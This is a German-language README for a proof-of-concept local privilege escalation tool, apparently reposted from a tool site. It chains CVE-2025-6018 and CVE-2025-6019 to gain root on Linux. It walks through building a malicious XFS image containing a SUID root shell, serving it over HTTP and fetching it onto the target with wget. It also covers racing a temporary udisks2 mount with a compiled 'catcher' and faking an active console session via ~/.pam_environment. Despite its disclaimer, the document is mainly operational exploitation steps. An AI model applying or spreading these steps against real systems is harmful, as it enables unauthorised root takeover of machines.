CVE-2025-6018 & CVE-2025-6019: PoC für lokale Privilege Escalation

Ein robustes Proof of Concept (PoC) zur Verkettung von CVE-2025-6018 (PAM/Polkit Active-Session-Bypass) und CVE-2025-6019 (libblockdev-SUID-Mount-Fehler), um auf verwundbaren Linux-Systemen Root-Zugriff zu erlangen.

Haftungsausschluss

Dieses Tool dient ausschließlich Bildungszwecken und autorisierter Sicherheitsforschung. Verwenden Sie es nicht auf Systemen, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung zum Testen haben.

---

Die Schwachstellenkette

Dieser Exploit verkettet zwei logische Schwachstellen, um Privilegien von einem Standardbenutzer zu Root zu erweitern:

1. CVE-2025-6018 (Der Einstieg): Eine Fehlkonfiguration in PAM/Polkit ermöglicht es, entfernte SSH-Sitzungen als Active=yes zu kennzeichnen. Dieser Trick täuscht dem System vor, dass der entfernte Benutzer physisch an der Konsole anwesend ist, und umgeht so die Passwortanforderungen für Hardware-Verwaltungswerkzeuge wie udisks2.
2. CVE-2025-6019 (Die Waffe): Die Bibliothek libblockdev (die von udisks2 verwendet wird) wendet das Sicherheitsflag nosuid nicht an, wenn ein Dateisystem vorübergehend für Wartungsarbeiten (wie Check oder Resize) eingehängt wird.

Die Kill Chain

1. Vorbereitung: Wir erstellen ein bösartiges XFS-Image, das eine statische SUID-Root-Shell enthält.
2. Bypass: Wir verlassen uns auf den Sitzungsstatus Active=yes, um dieses Image ohne Passwort als Loop-Device einzuhängen.
3. Auslösung: Wir senden einen D-Bus-Aufruf an Filesystem.Check. Dadurch wird udisks2 gezwungen, das Image vorübergehend einzuhängen, um es zu überprüfen. Entscheidend ist, dass dieser temporäre Mount kein nosuid aufweist.
4. Race Condition: Ein kompiliertes C-Programm („The Sniper“) überwacht /proc/mounts in Echtzeit. In dem Moment, in dem der temporäre Mount erscheint, führt es die SUID-Payload aus, bevor das System den Mount wieder aushängt.

---

Verwendung

Phase 1: Vorbereitung (Angreifer-Maschine)

Da der Zielmaschine oft Werkzeuge wie mkfs.xfs oder gcc fehlen, erzeugen wir die Payload lokal.

1. Führen Sie das Build-Skript auf Kali/Parrot aus:

   root@kitploit:~

   ./build_poc.sh
   

   • Erstellt exploit.img (400-MB-XFS-Image mit SUID-Shell).
   • Kompiliert catcher (den Race-Condition-Gewinner).

2. Laden Sie die Dateien auf das Ziel hoch: Starten Sie einen Python-Server:

   root@kitploit:~

   python3 -m http.server 80
   

   Auf der Zielmaschine (z. B. in /tmp):

   root@kitploit:~

   wget http://<YOUR_IP>/exploit.img
   wget http://<YOUR_IP>/catcher
   chmod +x catcher
   

Phase 2: Ausnutzung (Zielmaschine)

1. Laden Sie das Exploit-Skript herunter: Speichern Sie den Inhalt von exploit.sh aus diesem Repository auf der Zielmaschine.

2. Führen Sie den Exploit aus:

   root@kitploit:~

   chmod +x exploit.sh
   ./exploit.sh
   

3. Viel Spaß mit Root: Das Skript richtet automatisch das Loop-Device ein, startet den Catcher im Hintergrund und löst die Schwachstelle aus. Sie sollten sofort in einer Root-Shell landen.

---

Fehlerbehebung

„Authentifizierung ist erforderlich, um ein Loop-Device einzurichten“

Wenn das Skript nach einem Passwort fragt, ist Ihre SSH-Sitzung nicht aktiv. Behebung:

1. Erstellen Sie ~/.pam_environment:
   root@kitploit:~

   echo "XDG_SEAT=seat0" > ~/.pam_environment
   echo "XDG_VTNR=1" >> ~/.pam_environment
   

2. Melden Sie sich ab und wieder an.
3. Überprüfen Sie mit loginctl show-session $XDG_SESSION_ID | grep Active. Das Ergebnis muss Active=yes lauten.

„Race Condition fehlgeschlagen / Keine Shell“

Das verwundbare Zeitfenster ist nur wenige Millisekunden breit.

• Stellen Sie sicher, dass Sie den kompilierten C-Catcher verwenden (in build_poc.sh enthalten), nicht eine Bash-Schleife.
• Das Skript verwendet die Methode Filesystem.Check, die zuverlässiger ist als Resize.

---

Dateiübersicht

build_poc.sh (Angreifer-Seite)

Automatisiert die Erstellung des bösartigen Images und kompiliert die statischen Binärdateien.

exploit.sh (Ziel-Seite)

Der Orchestrator. Er übernimmt:

1. Prüfen, ob die Sitzung aktiv ist.
2. Starten des catcher im Hintergrund.
3. Einrichten des Loop-Devices über udisksctl.
4. Auslösen des D-Bus-Aufrufs Filesystem.Check.

---

Danksagungen

• Ursprüngliche Entdeckung: Qualys Research Team (CVE-2025-6018, CVE-2025-6019) https://www.helpnetsecurity.com/2025/06/18/chaining-two-lpes-to-get-root-most-linux-distros-vulnerable-cve-2025-6018-cve-2025-6019/